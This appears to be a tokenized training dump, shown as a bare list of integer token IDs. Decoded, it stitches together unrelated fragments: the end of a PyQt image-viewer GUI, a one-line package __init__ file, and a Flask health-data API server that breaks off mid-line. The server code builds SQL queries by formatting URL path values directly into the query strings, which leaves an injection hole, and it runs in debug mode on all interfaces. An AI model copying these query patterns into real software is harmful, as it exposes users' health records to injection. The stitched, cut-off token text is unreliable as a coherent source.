29871,
240,
153,
140,
30708,
29871,
31789,
30970,
13,
4706,
565,
7431,
29898,
1445,
29918,
1761,
29897,
849,
313,
2248,
29974,
29941,
29897,
1275,
29871,
29900,
29901,
4706,
396,
938,
29898,
240,
143,
143,
31153,
29871,
31789,
30970,
847,
29871,
239,
154,
183,
29897,
13,
9651,
1933,
353,
29871,
29896,
13,
4706,
25342,
7431,
29898,
1445,
29918,
1761,
29897,
1273,
313,
2248,
29974,
29941,
29897,
1275,
29871,
29900,
29901,
539,
396,
29871,
240,
143,
143,
31153,
29871,
31789,
30970,
31517,
29871,
239,
154,
183,
30906,
29871,
31207,
238,
139,
139,
29871,
31207,
238,
171,
187,
30811,
13,
9651,
1933,
353,
7431,
29898,
1445,
29918,
1761,
29897,
849,
313,
2248,
29974,
29941,
29897,
13,
4706,
1683,
29901,
13,
9651,
1933,
353,
7431,
29898,
1445,
29918,
1761,
29897,
849,
313,
2248,
29974,
29941,
29897,
718,
29871,
29896,
259,
396,
938,
29898,
240,
143,
143,
31153,
29871,
31789,
30970,
847,
29871,
239,
154,
183,
29897,
718,
29871,
29896,
13,
13,
4706,
396,
1596,
29898,
3881,
29898,
29900,
29892,
1933,
876,
13,
4706,
396,
1596,
29898,
3881,
29898,
2435,
29898,
1311,
29889,
1643,
29918,
4961,
13,
4706,
1596,
29898,
29888,
29908,
239,
183,
160,
29871,
240,
143,
143,
31153,
29871,
31789,
30970,
29901,
426,
2435,
29898,
1445,
29918,
1761,
2915,
31789,
1159,
13,
13,
4706,
565,
7431,
29898,
1311,
29889,
1643,
19925,
1405,
29871,
29900,
29901,
13,
9651,
363,
474,
297,
3464,
29898,
2435,
29898,
1311,
29889,
1643,
29918,
22164,
13,
18884,
565,
474,
529,
7431,
29898,
1445,
29918,
1761,
1125,
13,
462,
1678,
396,
1596,
29898,
29875,
29897,
13,
462,
1678,
1583,
29889,
1643,
29918,
29961,
29875,
1822,
8143,
29931,
1008,
580,
13,
9651,
1583,
29889,
1643,
5396,
8551,
580,
13,
13,
4706,
363,
934,
29918,
978,
297,
934,
29918,
1761,
29901,
13,
9651,
1583,
29889,
1643,
5396,
4397,
29898,
1445,
29918,
978,
29897,
13,
13,
4706,
822,
2828,
519,
29898,
8030,
1125,
13,
9651,
770,
19916,
29898,
29984,
2061,
1125,
13,
18884,
11484,
353,
9954,
284,
580,
13,
13,
18884,
822,
1741,
5072,
29898,
1311,
29892,
5446,
29892,
1741,
1125,
13,
462,
1678,
565,
5446,
1275,
11109,
29901,
13,
462,
4706,
565,
1741,
29889,
1853,
580,
1275,
660,
2624,
29889,
14346,
3125,
19729,
29901,
13,
462,
9651,
565,
5446,
29889,
1621,
2141,
11516,
29898,
3696,
29889,
1066,
580,
1125,
13,
462,
18884,
1583,
29889,
3808,
287,
29889,
21976,
580,
13,
462,
18884,
396,
450,
13897,
508,
3523,
363,
869,
21976,
29898,
5415,
29897,
304,
679,
278,
1203,
2629,
278,
21497,
29889,
13,
462,
18884,
736,
5852,
13,
462,
1678,
736,
7700,
13,
13,
9651,
4175,
353,
19916,
29898,
8030,
29897,
13,
9651,
11109,
29889,
6252,
2624,
5072,
29898,
4572,
29897,
13,
9651,
934,
29918,
15452,
29889,
4397,
29898,
4572,
29897,
13,
9651,
736,
4175,
29889,
3808,
287,
13,
13,
4706,
363,
474,
297,
3464,
29898,
29900,
29892,
1933,
1125,
13,
9651,
363,
432,
297,
3464,
29898,
2248,
29974,
29941,
1125,
13,
18884,
396,
1596,
29898,
29875,
29892,
432,
29897,
13,
18884,
954,
353,
474,
334,
313,
2248,
29974,
29941,
29897,
718,
432,
13,
18884,
565,
954,
529,
7431,
29898,
1445,
29918,
1761,
1125,
13,
462,
1678,
396,
1596,
29898,
1949,
29897,
13,
462,
1678,
1583,
29889,
1643,
29918,
29961,
1949,
29962,
353,
660,
4775,
29898,
1311,
29889,
1481,
29889,
10510,
13799,
8801,
21002,
29918,
29946,
29897,
13,
462,
1678,
1583,
29889,
1643,
29918,
29961,
1949,
1822,
12038,
703,
1159,
13,
462,
1678,
1583,
29889,
1643,
29918,
29961,
1949,
1822,
842,
2061,
1170,
29898,
29888,
29908,
1643,
648,
1949,
27195,
13,
462,
1678,
1583,
29889,
1481,
29889,
7720,
3453,
29918,
29953,
29889,
1202,
8801,
29898,
1311,
29889,
1643,
29918,
29961,
1949,
1402,
938,
29898,
29875,
511,
938,
29898,
29926,
511,
29871,
29896,
29892,
29871,
29896,
29897,
13,
13,
462,
1678,
1583,
29889,
29886,
861,
1958,
353,
660,
29925,
861,
1958,
29898,
29888,
29908,
29912,
9464,
6822,
29912,
1445,
29918,
1761,
29961,
1949,
12258,
1159,
13,
462,
1678,
1583,
29889,
1643,
29918,
29961,
1949,
1822,
842,
29925,
861,
1958,
29898,
1311,
29889,
29886,
861,
1958,
29897,
13,
462,
1678,
1583,
29889,
1643,
29918,
29961,
1949,
1822,
842,
14658,
29898,
17303,
29889,
2499,
647,
13409,
29897,
13,
462,
1678,
396,
1583,
29889,
1643,
29918,
29961,
1949,
1822,
842,
4421,
7943,
21002,
29898,
5574,
29897,
4706,
396,
29871,
238,
170,
161,
239,
185,
167,
29871,
30791,
30393,
239,
169,
139,
13,
462,
1678,
1583,
29889,
1643,
29918,
29961,
1949,
1822,
842,
4421,
7943,
21002,
29898,
8824,
29897,
539,
396,
29871,
31198,
238,
182,
187,
29871,
30791,
30393,
239,
169,
139,
13,
13,
462,
1678,
2828,
519,
29898,
1311,
29889,
1643,
29918,
29961,
1949,
14664,
6915,
29898,
1311,
29889,
12095,
1293,
4164,
287,
29897,
13,
13,
4706,
396,
29871,
238,
185,
139,
238,
162,
140,
313,
29900,
31279,
31856,
29871,
30889,
239,
161,
148,
29897,
13,
4706,
1583,
29889,
1643,
29918,
29961,
29906,
1822,
842,
5568,
10654,
703,
11466,
29901,
29871,
29955,
1756,
7773,
2654,
29936,
1159,
13,
4706,
1583,
29889,
1643,
29918,
29961,
29946,
1822,
842,
5568,
10654,
703,
11466,
29901,
29871,
29955,
1756,
7773,
2654,
29936,
1159,
13,
13,
1678,
822,
7623,
1293,
4164,
287,
29898,
1311,
1125,
13,
4706,
5534,
360,
8193,
13,
4706,
5534,
934,
29918,
1761,
13,
4706,
5534,
934,
29918,
15452,
13,
13,
4706,
1967,
29918,
978,
353,
6629,
13,
4706,
363,
474,
29892,
1203,
29918,
978,
297,
26985,
29898,
1445,
29918,
15452,
1125,
13,
9651,
565,
1203,
29918,
978,
1275,
1583,
29889,
15452,
7295,
13,
18884,
1967,
29918,
978,
353,
934,
29918,
1761,
29961,
29875,
29962,
13,
13,
4706,
565,
1967,
29918,
978,
2804,
525,
2396,
13,
9651,
1583,
29889,
7323,
29918,
786,
353,
660,
4775,
703,
1159,
13,
9651,
1583,
29889,
29886,
861,
1958,
353,
660,
29925,
861,
1958,
29898,
29888,
29908,
29912,
9464,
6822,
29912,
3027,
29918,
978,
27195,
13,
9651,
1583,
29889,
7323,
29918,
786,
29889,
842,
29925,
861,
1958,
29898,
1311,
29889,
29886,
861,
1958,
29897,
13,
9651,
1583,
29889,
7323,
29918,
786,
29889,
842,
5907,
7030,
29898,
3027,
29918,
978,
29897,
13,
9651,
1583,
29889,
7323,
29918,
786,
29889,
4294,
580,
13,
13,
4706,
396,
1583,
29889,
1481,
29889,
7720,
3453,
29918,
29945,
29889,
842,
29270,
10463,
4297,
15644,
29898,
17303,
29889,
10463,
4297,
2499,
1994,
2951,
29897,
13,
4706,
396,
1583,
29889,
1643,
29918,
29961,
29955,
1822,
8551,
580,
13,
4706,
396,
1583,
29889,
1643,
29918,
29961,
29955,
1822,
842,
25108,
29898,
5574,
29897,
13,
13,
4706,
396,
396,
4969,
6355,
3858,
13,
4706,
396,
3858,
353,
28797,
4775,
29898,
1311,
29897,
13,
4706,
396,
396,
4444,
5780,
6872,
13,
4706,
396,
3858,
29889,
842,
12229,
29911,
666,
703,
3112,
338,
5780,
6872,
1159,
13,
13,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1678,
444,
341,
1430,
3308,
25230,
360,
29979,
3521,
29924,
2965,
341,
1430,
3308,
383,
28700,
29903,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1678,
822,
11025,
29898,
1311,
1125,
13,
4706,
396,
12354,
350,
29911,
17332,
2965,
29968,
3352,
13,
4706,
9503,
8801,
353,
1583,
29889,
15452,
580,
13,
13,
4706,
396,
22038,
3630,
13,
4706,
565,
9503,
8801,
29889,
3318,
1170,
580,
1275,
376,
7290,
29918,
1610,
29918,
1272,
1115,
13,
9651,
1583,
29889,
1481,
29889,
1429,
287,
8801,
29889,
842,
7583,
8801,
29898,
1311,
29889,
1481,
29889,
3488,
29918,
10855,
29897,
13,
9651,
3740,
6678,
29879,
29889,
12071,
5568,
29898,
1311,
29892,
376,
7290,
29918,
1610,
29918,
1272,
1159,
13,
9651,
3740,
6678,
29879,
29889,
1643,
5074,
29898,
1311,
29892,
376,
30393,
31362,
30811,
29871,
30970,
239,
170,
148,
1159,
13,
9651,
9503,
8801,
29889,
842,
5568,
10654,
29898,
3120,
6678,
29879,
29889,
2622,
6823,
29898,
7290,
8801,
29889,
3293,
10654,
22130,
13,
13,
4706,
396,
29257,
13,
4706,
565,
9503,
8801,
29889,
3318,
1170,
580,
1275,
376,
7290,
29918,
21891,
1115,
13,
9651,
1583,
29889,
1481,
29889,
1429,
287,
8801,
29889,
842,
7583,
8801,
29898,
1311,
29889,
1481,
29889,
3488,
29918,
15916,
29897,
13,
9651,
3740,
6678,
29879,
29889,
12071,
5568,
29898,
1311,
29892,
376,
7290,
29918,
21891,
1159,
13,
9651,
3740,
6678,
29879,
29889,
1643,
5074,
29898,
1311,
29892,
376,
30393,
31362,
30811,
29871,
238,
185,
135,
239,
135,
160,
1159,
13,
9651,
9503,
8801,
29889,
842,
5568,
10654,
29898,
3120,
6678,
29879,
29889,
2622,
6823,
29898,
7290,
8801,
29889,
3293,
10654,
22130,
13,
13,
4706,
396,
17212,
13,
4706,
565,
9503,
8801,
29889,
3318,
1170,
580,
1275,
376,
7290,
29918,
2914,
1115,
13,
9651,
1583,
29889,
1481,
29889,
1429,
287,
8801,
29889,
842,
7583,
8801,
29898,
1311,
29889,
1481,
29889,
3488,
29918,
21895,
29897,
13,
9651,
3740,
6678,
29879,
29889,
12071,
5568,
29898,
1311,
29892,
376,
7290,
29918,
2914,
1159,
13,
9651,
3740,
6678,
29879,
29889,
1643,
5074,
29898,
1311,
29892,
376,
238,
144,
179,
30393,
31856,
29871,
237,
183,
131,
30826,
1159,
13,
9651,
9503,
8801,
29889,
842,
5568,
10654,
29898,
3120,
6678,
29879,
29889,
2622,
6823,
29898,
7290,
8801,
29889,
3293,
10654,
22130,
13,
13,
4706,
396,
19215,
13,
4706,
565,
9503,
8801,
29889,
3318,
1170,
580,
1275,
376,
7290,
29918,
26740,
1115,
13,
9651,
1583,
29889,
1481,
29889,
1429,
287,
8801,
29889,
842,
7583,
8801,
29898,
1311,
29889,
1481,
29889,
3488,
29918,
8030,
29879,
29897,
13,
9651,
3740,
6678,
29879,
29889,
12071,
5568,
29898,
1311,
29892,
376,
7290,
29918,
26740,
1159,
13,
9651,
3740,
6678,
29879,
29889,
1643,
5074,
29898,
1311,
29892,
376,
29020,
1159,
13,
9651,
9503,
8801,
29889,
842,
5568,
10654,
29898,
3120,
6678,
29879,
29889,
2622,
6823,
29898,
7290,
8801,
29889,
3293,
10654,
22130,
13,
13,
1678,
444,
25230,
11056,
444,
13,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1678,
444,
6850,
8322,
25230,
12279,
29925,
382,
29963,
3919,
29903,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
13,
1678,
444,
382,
29963,
3919,
25230,
16999,
17171,
11662,
7466,
1307,
17332,
2965,
29968,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1678,
822,
1741,
5072,
29898,
1311,
29892,
20654,
29892,
1741,
1125,
13,
4706,
565,
20654,
1275,
1583,
29889,
280,
322,
1741,
29889,
1853,
580,
1275,
14705,
9203,
29889,
29984,
2624,
29889,
14346,
3125,
29928,
2204,
4164,
29901,
13,
9651,
1596,
703,
1066,
29901,
9162,
1741,
29889,
1066,
3101,
13,
1678,
444,
25230,
11056,
444,
13,
13,
1678,
444,
382,
29963,
3919,
25230,
16999,
17171,
17332,
2965,
29968,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1678,
822,
9495,
10923,
2624,
29898,
1311,
29892,
1741,
1125,
13,
4706,
1583,
29889,
20515,
9135,
353,
1741,
29889,
10945,
9135,
580,
13,
4706,
565,
1741,
29889,
4187,
7453,
580,
1275,
14705,
29889,
8091,
3125,
29901,
13,
9651,
1596,
877,
14346,
2828,
29901,
19246,
17332,
2965,
29968,
1495,
13,
4706,
565,
1741,
29889,
4187,
7453,
580,
1275,
14705,
29889,
7341,
3125,
29901,
13,
9651,
1596,
877,
14346,
2828,
29901,
390,
22530,
17332,
2965,
29968,
1495,
13,
4706,
565,
1741,
29889,
4187,
7453,
580,
1275,
14705,
29889,
29924,
333,
3125,
29901,
13,
9651,
1596,
877,
14346,
2828,
29901,
341,
1367,
29928,
1307,
350,
2692,
29911,
1164,
1495,
13,
1678,
444,
25230,
11056,
444,
13,
13,
1678,
444,
382,
29963,
3919,
25230,
14636,
349,
15989,
1660,
29928,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1678,
822,
1820,
10923,
2624,
29898,
1311,
29892,
1741,
1125,
13,
4706,
1596,
877,
2558,
29901,
525,
718,
851,
29898,
3696,
29889,
1989,
3101,
718,
525,
891,
3992,
5254,
29901,
525,
718,
851,
29898,
3696,
29889,
726,
22130,
13,
1678,
444,
25230,
11056,
444,
13,
13,
1678,
444,
382,
29963,
3919,
25230,
390,
2890,
29902,
10721,
382,
29963,
3919,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1678,
822,
19490,
2624,
29898,
1311,
29892,
1741,
1125,
13,
4706,
1583,
29889,
21476,
6678,
580,
13,
4706,
736,
2428,
29898,
6330,
5907,
29892,
1583,
467,
21476,
2624,
29898,
3696,
29897,
13,
13,
1678,
822,
19490,
6678,
29898,
1311,
1125,
13,
4706,
1596,
877,
7011,
29901,
525,
718,
851,
29898,
1311,
29889,
3545,
3101,
718,
525,
891,
21485,
29901,
525,
718,
851,
29898,
1311,
29889,
2103,
22130,
13,
1678,
444,
25230,
11056,
444,
13,
13,
1678,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1678,
444,
11056,
25230,
12279,
29925,
382,
29963,
3919,
29903,
13,
1678,
835,
13383,
7346,
2277,
29937,
11474,
29914,
489,
29914,
5634,
835,
13383,
7346,
2277,
29937,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
623,
353,
660,
4873,
29898,
9675,
29889,
19218,
29897,
13,
1678,
14705,
28707,
29889,
29984,
9824,
9112,
29889,
1202,
4873,
9824,
877,
28586,
29914,
344,
1484,
29872,
1481,
29889,
698,
29888,
1495,
13,
1678,
14705,
28707,
29889,
29984,
9824,
9112,
29889,
1202,
4873,
9824,
877,
28586,
29914,
344,
1484,
12932,
747,
29889,
698,
29888,
1495,
13,
1678,
3474,
353,
4241,
5907,
580,
13,
1678,
10876,
29889,
13322,
29898,
932,
29889,
4258,
29918,
3101,
13,
2
] |
lib/__init__.py | federico123579/BigBrother | 29 | 108708 | <reponame>federico123579/BigBrother
__all__ = ['base', 'bbro', 'clint', 'sentry']
| [
1,
529,
276,
1112,
420,
29958,
29888,
2447,
1417,
29896,
29906,
29941,
29945,
29955,
29929,
29914,
6970,
29857,
721,
13,
1649,
497,
1649,
353,
6024,
3188,
742,
525,
1327,
307,
742,
525,
695,
524,
742,
525,
29879,
8269,
2033,
13,
2
] |
server.py | health-line/health-line-backend | 0 | 42789 | from flask import Flask
from flask import jsonify
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import text
from flask_cors import CORS, cross_origin
import os
app = Flask(__name__)
CORS(app)
app.config['SQLALCHEMY_DATABASE_URI'] = os.environ['SQLALCHEMY_DATABASE_URI']
db = SQLAlchemy(app)
db.engine.execute(text("""CREATE DATABASE IF NOT EXISTS HPI_2017;"""))
db.engine.execute(text("""USE HPI_2017;"""))
@app.route("/api/")
def helloWorld():
return "Hello, cross-origin-world!"
@app.route("/api/")
def hello():
sql = text("""SELECT "VALUE" FROM "HPI_2017"."DATAPOINTS" WHERE "KEY" = 'CALORIES' LIMIT 10""")
result = db.engine.execute(sql)
names = []
for row in result:
names.append(row[0])
return str(names)
@app.route("/api/datakeys/")
def datakeys():
sql = text("""SELECT DISTINCT "KEY" FROM "HPI_2017"."DATAPOINTS" """)
result = db.engine.execute(sql)
keys = []
for row in result:
keys.append(row[0])
return jsonify(keys)
@app.route("/api/users/")
def users():
sql = text("""SELECT * FROM "HPI_2017"."USERS" """)
result = db.engine.execute(sql)
users = []
for row in result:
user = {}
user["ID"] = row[2]
user["NAME"] = row[0]
user["BIRTHDAY"] = row[1]
user["SEX"] = row[3]
user["HEIGHT"] = row[4]
users.append(user)
return jsonify(users)
@app.route("/api/user/<int:userId>/")
def user(userId):
sql = text("""SELECT * FROM "HPI_2017"."USERS" WHERE "ID" = {0}""".format(userId))
result = db.engine.execute(sql)
for row in result:
user = {}
user["ID"] = row[2]
user["NAME"] = row[0]
user["BIRTHDAY"] = row[1]
user["SEX"] = row[3]
user["HEIGHT"] = row[4]
return jsonify(user)
@app.route("/api/user/<int:userId>/data/<string:dataKeys>/start/<string:startDate>/end/<string:endDate>")
def data(userId, dataKeys, startDate, endDate):
keys = "(\'" + "\', \'".join(dataKeys.split("+")) + "\')"
sql = text("""SELECT "DATE", "KEY", "VALUE" FROM "HPI_2017"."DATAPOINTS" WHERE "USER" = {0} AND "DATE" >= '{1}' AND "DATE" <= '{2}' AND "KEY" IN {3} """.format(userId, startDate, endDate, keys))
result = db.engine.execute(sql)
dateDictionary = {}
for row in result:
dateKey = row[0].toordinal()
if dateKey not in dateDictionary:
dateDictionary[dateKey] = {"DATE": row[0].strftime("%Y-%m-%d")}
dateDictionary[row[0].toordinal()][row[1]] = row[2]
return jsonify(dateDictionary.values())
@app.route("/api/user/<int:userId>/gesundheitscloud/")
def gesundheitscloud(userId):
sql = text("""SELECT * FROM "HPI_2017"."GESUNDHEITSCLOUD" WHERE "USER" = {0} ORDER BY "DATE_START" DESC""".format(userId))
result = db.engine.execute(sql)
cloudResults = []
for row in result:
document = {}
document["DATE_START"] = row[0]
document["DATE_END"] = row[1]
document["FACILITY"] = row[2]
document["LOCATION"] = row[3]
document["TREATMENT"] = row[4]
document["TYPE"] = row[6]
document["DESCRIPTION"] = row[5]
cloudResults.append(document)
return jsonify(cloudResults)
@app.route("/api/user/<int:userId>/events/")
def events(userId):
sql = text("""SELECT * FROM "HPI_2017"."EVENTS" WHERE "USER" = {0} ORDER BY "DATE_START" DESC""".format(userId))
result = db.engine.execute(sql)
events = []
for row in result:
event = {}
event["DATE_START"] = row[0]
event["DATE_END"] = row[1]
event["TYPE"] = row[3]
event["TITLE"] = row[4]
event["DESCRIPTION"] = row[5]
events.append(event)
return jsonify(events)
<EMAIL>("/api/user/<int:userId>")
app.run(debug=True, port=4200, host="0.0.0.0")
| [
1,
515,
29784,
1053,
2379,
1278,
13,
3166,
29784,
1053,
4390,
1598,
13,
3166,
29784,
29918,
2850,
284,
305,
6764,
1053,
3758,
2499,
305,
6764,
13,
3166,
4576,
284,
305,
6764,
1053,
1426,
13,
3166,
29784,
29918,
29883,
943,
1053,
315,
24125,
29892,
4891,
29918,
12574,
13,
5215,
2897,
13,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
13,
29907,
24125,
29898,
932,
29897,
13,
932,
29889,
2917,
1839,
4176,
1964,
3210,
12665,
29979,
29918,
25832,
27982,
29918,
15551,
2033,
353,
2897,
29889,
21813,
1839,
4176,
1964,
3210,
12665,
29979,
29918,
25832,
27982,
29918,
15551,
2033,
13,
13,
2585,
353,
3758,
2499,
305,
6764,
29898,
932,
29897,
13,
2585,
29889,
10599,
29889,
7978,
29898,
726,
703,
15945,
27045,
27640,
27982,
10762,
6058,
28731,
379,
2227,
29918,
29906,
29900,
29896,
29955,
15458,
29908,
5783,
13,
2585,
29889,
10599,
29889,
7978,
29898,
726,
703,
15945,
17171,
379,
2227,
29918,
29906,
29900,
29896,
29955,
15458,
29908,
5783,
13,
13,
29992,
932,
29889,
13134,
11974,
2754,
29914,
1159,
13,
1753,
22172,
14058,
7295,
13,
29871,
736,
376,
10994,
29892,
4891,
29899,
12574,
29899,
11526,
3850,
13,
13,
29992,
932,
29889,
13134,
11974,
2754,
29914,
1159,
13,
1753,
22172,
7295,
13,
1678,
4576,
353,
1426,
703,
15945,
6404,
376,
19143,
29908,
3895,
376,
29950,
2227,
29918,
29906,
29900,
29896,
29955,
29908,
1213,
25832,
3301,
6992,
9375,
29908,
5754,
376,
10818,
29908,
353,
525,
29907,
1964,
1955,
29059,
29915,
27848,
29871,
29896,
29900,
15945,
1159,
13,
1678,
1121,
353,
4833,
29889,
10599,
29889,
7978,
29898,
2850,
29897,
13,
1678,
2983,
353,
5159,
13,
1678,
363,
1948,
297,
1121,
29901,
13,
4706,
2983,
29889,
4397,
29898,
798,
29961,
29900,
2314,
13,
1678,
736,
851,
29898,
7039,
29897,
13,
13,
29992,
932,
29889,
13134,
11974,
2754,
29914,
1272,
8149,
29914,
1159,
13,
1753,
848,
8149,
7295,
13,
1678,
4576,
353,
1426,
703,
15945,
6404,
360,
9047,
28852,
376,
10818,
29908,
3895,
376,
29950,
2227,
29918,
29906,
29900,
29896,
29955,
29908,
1213,
25832,
3301,
6992,
9375,
29908,
5124,
1159,
13,
1678,
1121,
353,
4833,
29889,
10599,
29889,
7978,
29898,
2850,
29897,
13,
1678,
6611,
353,
5159,
13,
1678,
363,
1948,
297,
1121,
29901,
13,
4706,
6611,
29889,
4397,
29898,
798,
29961,
29900,
2314,
13,
1678,
736,
4390,
1598,
29898,
8149,
29897,
13,
13,
29992,
932,
29889,
13134,
11974,
2754,
29914,
7193,
29914,
1159,
13,
1753,
4160,
7295,
13,
1678,
4576,
353,
1426,
703,
15945,
6404,
334,
3895,
376,
29950,
2227,
29918,
29906,
29900,
29896,
29955,
29908,
1213,
11889,
29903,
29908,
5124,
1159,
13,
1678,
1121,
353,
4833,
29889,
10599,
29889,
7978,
29898,
2850,
29897,
13,
1678,
4160,
353,
5159,
13,
1678,
363,
1948,
297,
1121,
29901,
13,
4706,
1404,
353,
6571,
13,
4706,
1404,
3366,
1367,
3108,
353,
1948,
29961,
29906,
29962,
13,
4706,
1404,
3366,
5813,
3108,
353,
1948,
29961,
29900,
29962,
13,
4706,
1404,
3366,
29933,
8193,
4690,
28658,
3108,
353,
1948,
29961,
29896,
29962,
13,
4706,
1404,
3366,
1660,
29990,
3108,
353,
1948,
29961,
29941,
29962,
13,
4706,
1404,
3366,
9606,
22530,
3108,
353,
1948,
29961,
29946,
29962,
13,
4706,
4160,
29889,
4397,
29898,
1792,
29897,
13,
1678,
736,
4390,
1598,
29898,
7193,
29897,
13,
13,
29992,
932,
29889,
13134,
11974,
2754,
29914,
1792,
29914,
29966,
524,
29901,
29721,
20690,
1159,
13,
1753,
1404,
29898,
29721,
1125,
13,
1678,
4576,
353,
1426,
703,
15945,
6404,
334,
3895,
376,
29950,
2227,
29918,
29906,
29900,
29896,
29955,
29908,
1213,
11889,
29903,
29908,
5754,
376,
1367,
29908,
353,
426,
29900,
5038,
29908,
1642,
4830,
29898,
29721,
876,
13,
1678,
1121,
353,
4833,
29889,
10599,
29889,
7978,
29898,
2850,
29897,
13,
1678,
363,
1948,
297,
1121,
29901,
13,
4706,
1404,
353,
6571,
13,
4706,
1404,
3366,
1367,
3108,
353,
1948,
29961,
29906,
29962,
13,
4706,
1404,
3366,
5813,
3108,
353,
1948,
29961,
29900,
29962,
13,
4706,
1404,
3366,
29933,
8193,
4690,
28658,
3108,
353,
1948,
29961,
29896,
29962,
13,
4706,
1404,
3366,
1660,
29990,
3108,
353,
1948,
29961,
29941,
29962,
13,
4706,
1404,
3366,
9606,
22530,
3108,
353,
1948,
29961,
29946,
29962,
13,
4706,
736,
4390,
1598,
29898,
1792,
29897,
13,
13,
29992,
932,
29889,
13134,
11974,
2754,
29914,
1792,
29914,
29966,
524,
29901,
29721,
20690,
1272,
29914,
29966,
1807,
29901,
1272,
15506,
20690,
2962,
29914,
29966,
1807,
29901,
2962,
2539,
20690,
355,
29914,
29966,
1807,
29901,
355,
2539,
29958,
1159,
13,
1753,
848,
29898,
29721,
29892,
848,
15506,
29892,
1369,
2539,
29892,
1095,
2539,
1125,
13,
1678,
6611,
353,
376,
1194,
11838,
718,
6634,
742,
320,
29915,
1642,
7122,
29898,
1272,
15506,
29889,
5451,
703,
29974,
5783,
718,
6634,
1495,
29908,
13,
1678,
4576,
353,
1426,
703,
15945,
6404,
376,
6248,
613,
376,
10818,
613,
376,
19143,
29908,
3895,
376,
29950,
2227,
29918,
29906,
29900,
29896,
29955,
29908,
1213,
25832,
3301,
6992,
9375,
29908,
5754,
376,
11889,
29908,
353,
426,
29900,
29913,
5300,
376,
6248,
29908,
6736,
22372,
29896,
10162,
5300,
376,
6248,
29908,
5277,
22372,
29906,
10162,
5300,
376,
10818,
29908,
2672,
426,
29941,
29913,
5124,
1642,
4830,
29898,
29721,
29892,
1369,
2539,
29892,
1095,
2539,
29892,
6611,
876,
13,
1678,
1121,
353,
4833,
29889,
10599,
29889,
7978,
29898,
2850,
29897,
13,
1678,
2635,
11513,
353,
6571,
13,
1678,
363,
1948,
297,
1121,
29901,
13,
4706,
2635,
2558,
353,
1948,
29961,
29900,
1822,
517,
536,
979,
580,
13,
4706,
565,
2635,
2558,
451,
297,
2635,
11513,
29901,
13,
9651,
2635,
11513,
29961,
1256,
2558,
29962,
353,
8853,
6248,
1115,
1948,
29961,
29900,
1822,
710,
615,
603,
11702,
29979,
19222,
29885,
19222,
29881,
1159,
29913,
13,
4706,
2635,
11513,
29961,
798,
29961,
29900,
1822,
517,
536,
979,
580,
3816,
798,
29961,
29896,
5262,
353,
1948,
29961,
29906,
29962,
13,
1678,
736,
4390,
1598,
29898,
1256,
11513,
29889,
5975,
3101,
13,
13,
29992,
932,
29889,
13134,
11974,
2754,
29914,
1792,
29914,
29966,
524,
29901,
29721,
20690,
2710,
870,
25714,
9274,
29914,
1159,
13,
1753,
6300,
870,
25714,
9274,
29898,
29721,
1125,
13,
1678,
4576,
353,
1426,
703,
15945,
6404,
334,
3895,
376,
29950,
2227,
29918,
29906,
29900,
29896,
29955,
29908,
1213,
1692,
14605,
2797,
9606,
1806,
7187,
3927,
15789,
29908,
5754,
376,
11889,
29908,
353,
426,
29900,
29913,
15606,
6770,
376,
6248,
29918,
25826,
29908,
23050,
15945,
1642,
4830,
29898,
29721,
876,
13,
1678,
1121,
353,
4833,
29889,
10599,
29889,
7978,
29898,
2850,
29897,
13,
1678,
9570,
12191,
353,
5159,
13,
1678,
363,
1948,
297,
1121,
29901,
13,
4706,
1842,
353,
6571,
13,
4706,
1842,
3366,
6248,
29918,
25826,
3108,
353,
1948,
29961,
29900,
29962,
13,
4706,
1842,
3366,
6248,
29918,
11794,
3108,
353,
1948,
29961,
29896,
29962,
13,
4706,
1842,
3366,
29943,
2477,
6227,
11937,
3108,
353,
1948,
29961,
29906,
29962,
13,
4706,
1842,
3366,
16652,
8098,
3108,
353,
1948,
29961,
29941,
29962,
13,
4706,
1842,
3366,
29911,
1525,
1299,
13780,
3108,
353,
1948,
29961,
29946,
29962,
13,
4706,
1842,
3366,
11116,
3108,
353,
1948,
29961,
29953,
29962,
13,
4706,
1842,
3366,
2287,
7187,
24290,
2725,
3108,
353,
1948,
29961,
29945,
29962,
13,
4706,
9570,
12191,
29889,
4397,
29898,
3225,
29897,
13,
1678,
736,
4390,
1598,
29898,
9274,
12191,
29897,
13,
13,
29992,
932,
29889,
13134,
11974,
2754,
29914,
1792,
29914,
29966,
524,
29901,
29721,
20690,
13604,
29914,
1159,
13,
1753,
4959,
29898,
29721,
1125,
13,
1678,
4576,
353,
1426,
703,
15945,
6404,
334,
3895,
376,
29950,
2227,
29918,
29906,
29900,
29896,
29955,
29908,
1213,
22240,
3919,
29903,
29908,
5754,
376,
11889,
29908,
353,
426,
29900,
29913,
15606,
6770,
376,
6248,
29918,
25826,
29908,
23050,
15945,
1642,
4830,
29898,
29721,
876,
13,
1678,
1121,
353,
4833,
29889,
10599,
29889,
7978,
29898,
2850,
29897,
13,
1678,
4959,
353,
5159,
13,
1678,
363,
1948,
297,
1121,
29901,
13,
4706,
1741,
353,
6571,
13,
4706,
1741,
3366,
6248,
29918,
25826,
3108,
353,
1948,
29961,
29900,
29962,
13,
4706,
1741,
3366,
6248,
29918,
11794,
3108,
353,
1948,
29961,
29896,
29962,
13,
4706,
1741,
3366,
11116,
3108,
353,
1948,
29961,
29941,
29962,
13,
4706,
1741,
3366,
29911,
1806,
1307,
3108,
353,
1948,
29961,
29946,
29962,
13,
4706,
1741,
3366,
2287,
7187,
24290,
2725,
3108,
353,
1948,
29961,
29945,
29962,
13,
4706,
4959,
29889,
4397,
29898,
3696,
29897,
13,
1678,
736,
4390,
1598,
29898,
13604,
29897,
13,
13,
13,
13,
13,
13,
29966,
26862,
6227,
29958,
11974,
2754,
29914,
1792,
29914,
29966,
524,
29901,
29721,
29958,
1159,
13,
932,
29889,
3389,
29898,
8382,
29922,
5574,
29892,
2011,
29922,
